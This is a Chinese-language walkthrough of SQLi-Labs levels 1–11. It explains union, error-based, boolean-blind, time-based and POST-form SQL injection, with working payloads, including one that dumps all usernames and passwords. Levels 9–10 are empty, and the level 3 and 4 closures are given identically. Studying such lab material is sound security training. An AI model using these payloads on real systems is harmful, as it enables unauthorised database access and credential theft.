第一关
先来判断是否可以在url上直接打开地址栏,post传入的内容是否直接会拼接到数据库语句中
?id=1%20%27and%201=2%20--%20ads
%20是空格的url的代码
具体操作流程如下
1,判断是否是注入类型
若输入 ?id=1 页面正常,输入 ?id=1' 页面报错,就证明了单引号闭合的字符型注入存在。
?id=1%20%27and%201=2%20--%20ads
?id=1%20%27and%201=1%20--%20ads
百分号27是单引号
看两个显示结果会不会变
2,判断字段
ORDER BY 关键字的核心作用(MySQL 语法):
用于对查询结果集进行排序,语法格式为 ORDER BY 字段名/字段索引。这里的关键特性:ORDER BY 支持用数字「字段索引」代替字段名,数字 N 表示 “对查询结果的第 N 个字段进行排序”。
步骤 2:判断字段数(order by)
用 order by N 猜解查询的字段数量:
输入 ?id=1' order by 1--+(--+ 是注释符,让后面的 SQL 失效),页面正常。
输入 ?id=1' order by 2--+,页面正常。
输入 ?id=1' order by 3--+,页面正常。
输入 ?id=1' order by 4--+,页面报错,说明字段数是 3。
3,确定回显位置(-1' union select 1,2,3--+)
输入 ?id=-1' union select 1,2,3--+,页面显示 2 和 3,确定这两个位置为回显位。
数据库原理拆解
UNION SELECT 联合查询的核心规则(MySQL 语法):
用于将两个或多个 SELECT 语句的查询结果集合并为一个结果集返回。
必须满足核心前提条件:多个 SELECT 语句查询的「字段数量必须相同」,且对应字段的数据类型兼容(否则报错)。
例如:SELECT 1,2,3 UNION SELECT 4,5,6; 合法(均为 3 个字段),SELECT 1,2 UNION SELECT 3,4,5; 非法(字段数不一致)。
为什么要用 id=-1?
原始 SQL 中 id='1' 会查询到有效数据(存在 id=1 的用户),此时 UNION SELECT 的结果集会被原始查询结果覆盖,页面只显示原始数据,无法看到联合查询的内容。
传入 id=-1,拼接后的 SQL 为 SELECT * FROM users WHERE id='-1' UNION SELECT 1,2,3--+;,由于数据库中不存在 id=-1 的用户,原始查询结果集为空。
根据 MySQL 联合查询的规则:当第一个 SELECT 结果集为空时,会直接显示第二个 SELECT(联合查询)的结果集,这是我们能看到 1,2,3 的关键。
回显位置的含义:
页面最终显示 2 和 3,说明原始 SQL 查询结果集中,第 2 个和第 3 个字段的内容会被渲染到页面上(第 1 个字段可能不显示或被隐藏)。
后续我们只需要将 2 和 3 替换为实际的查询语句(如查数据库名、账号密码),就能让查询结果在页面上显示出来,这是联合查询注入的核心价值。
4:查询数据库信息(核心注入操作)
操作回顾
通过替换回显位的 2,3,依次查询数据库名、表名、字段名、账号密码。
数据库原理拆解(分步骤解析)
1. 查询当前数据库名(?id=-1' union select 1,database(),3--+)
database():MySQL 内置系统函数,作用是返回当前正在使用的数据库名称(即原始 SQL 所属的数据库)。
拼接后的 SQL 为:SELECT * FROM users WHERE id='-1' UNION SELECT 1,database(),3--+;
原理:联合查询的第 2 个字段被替换为 database(),数据库执行该函数后返回当前数据库名(通常是 security),并通过页面的回显位展示出来。
2. 查询数据库中的表名(group_concat(table_name) + information_schema.tables)
核心语法:SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database();
各部分原理拆解:
information_schema.tables:系统数据库 information_schema 中的 tables 表,存储了 MySQL 中所有数据库的表元数据(包括数据库名 table_schema、表名 table_name、表类型等)。
WHERE table_schema=database():过滤条件,只查询当前数据库(database() 返回的结果)中的表,避免查询到其他数据库(如 mysql、information_schema)的表。
group_concat(column_name):MySQL 内置聚合函数,作用是将多行查询结果拼接为一行字符串返回(用逗号分隔)。
若不用 group_concat(),直接 SELECT table_name,联合查询只会返回单行结果(默认只取第一行),无法看到所有表名;
用 group_concat() 可以将所有表名(emails,referers,uagents,users)拼接为一行,一次性在回显位展示完整,这是注入中高效查询多行数据的核心技巧。
拼接后的 SQL 执行后,会从 information_schema.tables 中提取当前数据库的所有表名,拼接后通过回显位展示。
3. 查询 users 表的字段名(group_concat(column_name) + information_schema.columns)
核心语法:SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users';
各部分原理拆解:
information_schema.columns:系统数据库 information_schema 中的 columns 表,存储了 MySQL 中所有表的字段元数据(包括数据库名 table_schema、表名 table_name、字段名 column_name、字段类型等)。
过滤条件 table_schema=database() AND table_name='users':精准定位「当前数据库」中的「users 表」,只查询该表的字段信息。
同样使用 group_concat(column_name) 将所有字段名(id,username,password)拼接为一行,通过回显位完整展示。
4. 查询 users 表的账号密码(group_concat(username,':',password))
核心语法:SELECT group_concat(username,':',password) FROM users;
各部分原理拆解:
users 表:是 SQLi-Labs 中存储管理员账号密码的核心业务表(从步骤 2 中查询得到)。
username,':',password:MySQL 中支持用逗号 , 拼接字符串,这里将 username(用户名)、分隔符 :、password(密码)拼接为一个字符串(如 admin:admin),方便阅读。
group_concat():将 users 表中所有行的账号密码拼接为一行,一次性展示所有数据,避免多次查询,高效获取全部核心信息。
拼接后的 SQL 执行后,数据库会从 security 数据库的 users 表中提取所有账号密码,通过回显位展示,完成核心注入目标。
总结
整个注入流程的核心是篡改后台原始 SQL,利用 MySQL 语法特性(注释符、ORDER BY、UNION SELECT、系统表 / 函数)实现非法查询。
关键节点:闭合单引号(突破字符型注入限制)→ 猜字段数(满足联合查询前提)→ 找回显位(获取查询结果出口)→ 查元数据(通过 information_schema 获取核心信息)。
所有操作的底层支撑都是 MySQL 的基础语法和系统表 / 函数的特性,这也是 SQL 注入的核心
第二关
,和上面只有闭合方式的区别,闭合方式为双引号
第三关
,和上面只有闭合方式的区别,闭合为单引号和括号
第四关
,和上面只有闭合方式的区别,闭合为单引号和括号
SQLi-Labs 5-7 关原理讲解(注入类型与核心技巧)
这三关分别对应报错注入、盲注(布尔型)、盲注(时间型)
第五关
核心特征
页面只返回 “正确 / 错误” 提示(无数据回显),但会输出 SQL 语法错误信息(如 “you have an error in your SQL syntax”)。
SELECT * FROM users WHERE id='$id' LIMIT 0,1;
利用MySQL 报错函数(如extractvalue()、updatexml()),让数据库在执行恶意 SQL 时抛出错误,并将查询结果嵌入错误信息中返回,实现 “无回显下获取数据”。
常用报错函数:
extractvalue()语法:extractvalue(1, concat(0x7e, 查询语句, 0x7e))
作用:从 XML 文档中提取值,当第二个参数包含特殊字符(如~)时,会抛出错误并显示参数内容。
示例(查数据库名):
plaintext
?id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+页面会返回错误:XPATH syntax error: '~security~',其中security就是数据库名。
updatexml()原理与extractvalue()类似,语法:updatexml(1, concat(0x7e, 查询语句), 1)。
核心逻辑
通过构造包含报错函数的 SQL,强制数据库输出错误信息,间接获取查询结果(无需页面回显数据)。
第六关
核心特征
页面仅返回 “存在数据” 或 “不存在数据”(如 “you are in”/“you are not in”),无任何错误提示或数据回显。
原始 SQL
sql
SELECT * FROM users WHERE id="$id" LIMIT 0,1;字符型注入,双引号闭合)
原理
利用SQL 逻辑判断的布尔结果(true/false),通过 “逐字符猜解” 的方式获取数据。
核心技巧:
逐字符判断(利用substr()、ascii()函数)
substr(目标字符串, 位置, 1):截取字符串指定位置的字符;
ascii(字符):将字符转换为 ASCII 码值。
示例(猜数据库名第 1 个字符):
plaintext
?id=1" and ascii(substr(database(),1,1))>100--+
一键获取完整项目代码
若页面显示 “you are in”,说明数据库名第 1 个字符的 ASCII 码大于 100;
逐步缩小范围,最终确定字符(如security的第 1 个字符s的 ASCII 码是 115)。
核心逻辑
通过构造逻辑判断语句,根据页面的 “存在 / 不存在” 提示,逐个字符推导目标数据(效率低,但适用于无回显、无报错的场景)。
第七关
核心特征
页面无任何回显、无错误提示(无论 SQL 是否正确,页面均显示相同内容)。
原始 SQL
sql
SELECT * FROM users WHERE id=((('$id'))) LIMIT 0,1;(字符型注入,单引号 + 括号闭合,需用')))闭合)
原理
利用MySQL 的延时函数(sleep(N)),通过 “是否延时” 判断 SQL 逻辑的布尔结果,进而逐字符猜解数据。
核心技巧:
延时判断(结合if()函数)语法:if(条件, sleep(3), 1)
作用:若条件为真,数据库延时 3 秒执行;若为假,立即执行。
示例(猜数据库名第 1 个字符):
plaintext
?id=1'))) and if(ascii(substr(database(),1,1))=115, sleep(3), 1)--+若页面加载时间超过 3 秒,说明条件为真(数据库名第 1 个字符是
s);若立即加载,说明条件为假,需调整字符的 ASCII 码值。
第八关
第 8 关:布尔盲注(单引号闭合,无任何回显增强版)
核心特征
页面仅返回两种状态:You are in...........(条件为真)、无该提示 / 空白页面(条件为假),无错误回显、无数据回显。
与第 6 关核心逻辑一致,仅闭合方式不同,属于纯布尔盲注场景。
原始 SQL
sql
SELECT * FROM users WHERE id='$id' LIMIT 0,1;(字符型注入,单引号闭合,无报错输出,是第 6 关的单引号版本)
原理
与第 6 关布尔盲注核心原理完全一致,利用SQL逻辑判断的布尔结果,通过substr()(截取字符)、ascii()(转换 ASCII 码)逐字符猜解数据。
核心差异:第 6 关是双引号闭合,第 8 关是单引号闭合,注入语句前缀需对应调整。
?id=1' and ascii(substr(database(),1,1))=115--+
第九关
第十关
第十一关
- 注入点从URL 的 GET 参数转移到页面的 POST 表单参数(用户名
uname、密码passwd)。 - 页面有登录成功 / 失败提示(
Your Login name or Password is wrong),支持报错注入或布尔盲注。
原始 SQL
SELECT * FROM users WHERE username='$uname' AND password='$passwd' LIMIT 0,1;字符型注入,单引号闭合,POST 参数传递,无数据回显但有登录状态反馈)
原理
POST 注入与 GET 注入的核心区别:
GET 注入:参数通过 URL 传递,可直接在地址栏构造语句。
POST 注入:参数通过 HTTP 请求体传递,需借助工具(如 Burp Suite)或浏览器开发者工具构造表单数据。
注入核心逻辑:
与 GET 型字符注入一致,先闭合单引号,再构造注入语句,最后用注释符注释多余内容。
示例(用报错注入查数据库名,在uname字段输入):
plaintext
admin' and extractvalue(1,concat(0x7e,database(),0x7e))--+密码字段可任意输入(如
123),提交后页面会返回报错信息,包含当前数据库名。
核心逻辑
注入原理与 GET 型注入一致,仅参数传递方式不同,需掌握 POST 表单数据的构造方法。